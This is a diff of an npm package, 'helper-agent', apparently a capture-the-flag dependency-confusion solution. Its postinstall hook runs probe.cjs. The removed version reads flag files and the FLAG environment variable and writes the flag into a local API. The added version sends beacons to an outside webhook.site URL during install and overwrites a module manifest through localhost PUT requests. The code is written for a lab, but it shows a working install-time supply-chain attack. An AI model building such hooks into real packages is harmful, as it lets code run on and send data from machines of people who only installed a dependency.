helper-agent 1.0.2 → 1.0.4

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "helper-agent",
-  "version": "1.0.2",
+  "version": "1.0.4",
   "description": "Authorized HTB dependency-resolution canary",
   "scripts": {
     "postinstall": "node probe.cjs"

package/probe.cjs

@@ -1,108 +1,113 @@
-const fs = require("node:fs");
+const https = require("node:https");
 
 const MODULE_ID = "ECT-987654";
+const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
 
 const API_URLS = [
   "http://127.0.0.1:1337",
+  "http://127.0.0.1:80",
   "http://127.0.0.1:3000",
   "http://127.0.0.1:8080",
-  "http://127.0.0.1:5000",
-  "http://127.0.0.1:80"
+  "http://127.0.0.1:5000"
 ];
 
-const FLAG_FILES = [
-  "/flag.txt",
-  "/flag",
-  "/app/flag.txt",
-  "/home/node/flag.txt",
-  "/home/app/flag.txt",
-  "/opt/app/flag.txt"
-];
+const STATUS = "helper_agent_104_api_write_verified";
+
+function signal(marker) {
+  return new Promise(resolve => {
+    const req = https.request(
+      WEBHOOK,
+      {
+        method: "POST",
+        headers: { "Content-Type": "text/plain" },
+        timeout: 4000
+      },
+      res => {
+        res.resume();
+        res.on("end", resolve);
+      }
+    );
 
-function extractFlag(value) {
-  if (typeof value !== "string") return null;
-  return value.match(/HTB\{[^}\r\n]{1,200}\}/)?.[0] || null;
+    req.on("error", resolve);
+    req.on("timeout", () => req.destroy());
+    req.on("close", resolve);
+    req.end(marker);
+  });
 }
 
-function findFlag() {
-  const fromEnvironment = extractFlag(process.env.FLAG);
-  if (fromEnvironment) return fromEnvironment;
-
-  for (const filename of FLAG_FILES) {
-    try {
-      const result = extractFlag(fs.readFileSync(filename, "utf8"));
-      if (result) return result;
-    } catch {}
-  }
+async function getRecord(endpoint) {
+  const response = await fetch(endpoint, {
+    signal: AbortSignal.timeout(2500)
+  });
 
-  return null;
+  if (!response.ok) throw new Error(`GET ${response.status}`);
+  return response.json();
 }
 
 async function main() {
+  // Signal 1: The installation hook started.
+  await signal("HELPER_104_STARTED");
+
   for (const base of API_URLS) {
-    let record;
+    const endpoint = `${base}/api/modules/${MODULE_ID}`;
 
     try {
-      const response = await fetch(
-        `${base}/api/modules/${MODULE_ID}`,
-        { signal: AbortSignal.timeout(2000) }
+      const record = await getRecord(endpoint);
+
+      // Only operate on the exact challenge module.
+      if (
+        record.id !== MODULE_ID ||
+        typeof record.raw !== "string" ||
+        !record.raw.includes("Siren's Lament") ||
+        !record.raw.includes('"helper-agent"')
+      ) {
+        continue;
+      }
+
+      // Signal 2: The expected local HTB API was found.
+      await signal("HELPER_104_API_OK");
+
+      let manifest = record.raw.replace(
+        /^  ctf_status:.*\r?\n/gm,
+        ""
       );
 
-      if (!response.ok) continue;
-      record = await response.json();
-    } catch {
-      continue;
-    }
-
-    // Restrict execution to the intended HTB application.
-    if (
-      record.id !== MODULE_ID ||
-      typeof record.raw !== "string" ||
-      !record.raw.includes("Siren's Lament") ||
-      !record.raw.includes('"helper-agent"')
-    ) {
-      continue;
-    }
+      manifest = manifest.replace(
+        /^ecto_module:[ \t]*$/m,
+        `ecto_module:\n  ctf_status: "${STATUS}"`
+      );
 
-    const flag = findFlag();
+      const response = await fetch(endpoint, {
+        method: "PUT",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ manifest }),
+        signal: AbortSignal.timeout(3000)
+      });
+
+      if (!response.ok) {
+        console.log("HTB PUT failed:", response.status);
+        return;
+      }
+
+      // Verify that the diagnostic was persisted.
+      const updated = await getRecord(endpoint);
+
+      if (
+        updated.raw &&
+        updated.raw.includes(`ctf_status: "${STATUS}"`)
+      ) {
+        // Signal 3: Verified write-back.
+        await signal("HELPER_104_WRITE_OK");
+      }
 
-    if (!flag) {
-      console.log("[HTB] Target found; flag file not found");
       return;
-    }
 
-    let manifest = record.raw;
-
-    // Remove any previous result to avoid duplicate YAML keys.
-    manifest = manifest.replace(
-      /^  ctf_result:.*\r?\n/gm,
-      ""
-    );
-
-    // Add the result inside the ecto_module mapping.
-    manifest = manifest.replace(
-      /^ecto_module:\s*$/m,
-      `ecto_module:\n  ctf_result: ${JSON.stringify(flag)}`
-    );
-
-    try {
-      const response = await fetch(
-        `${base}/api/modules/${MODULE_ID}`,
-        {
-          method: "PUT",
-          headers: { "Content-Type": "application/json" },
-          body: JSON.stringify({ manifest }),
-          signal: AbortSignal.timeout(3000)
-        }
-      );
-
-      console.log("[HTB] Manifest update:", response.status);
     } catch (error) {
-      console.log("[HTB] Update failed:", error.message);
+      console.log("API candidate failed:", base, error.message);
     }
-
-    return;
   }
+
+  console.log("HTB local API not detected");
 }
 
 main().catch(console.error);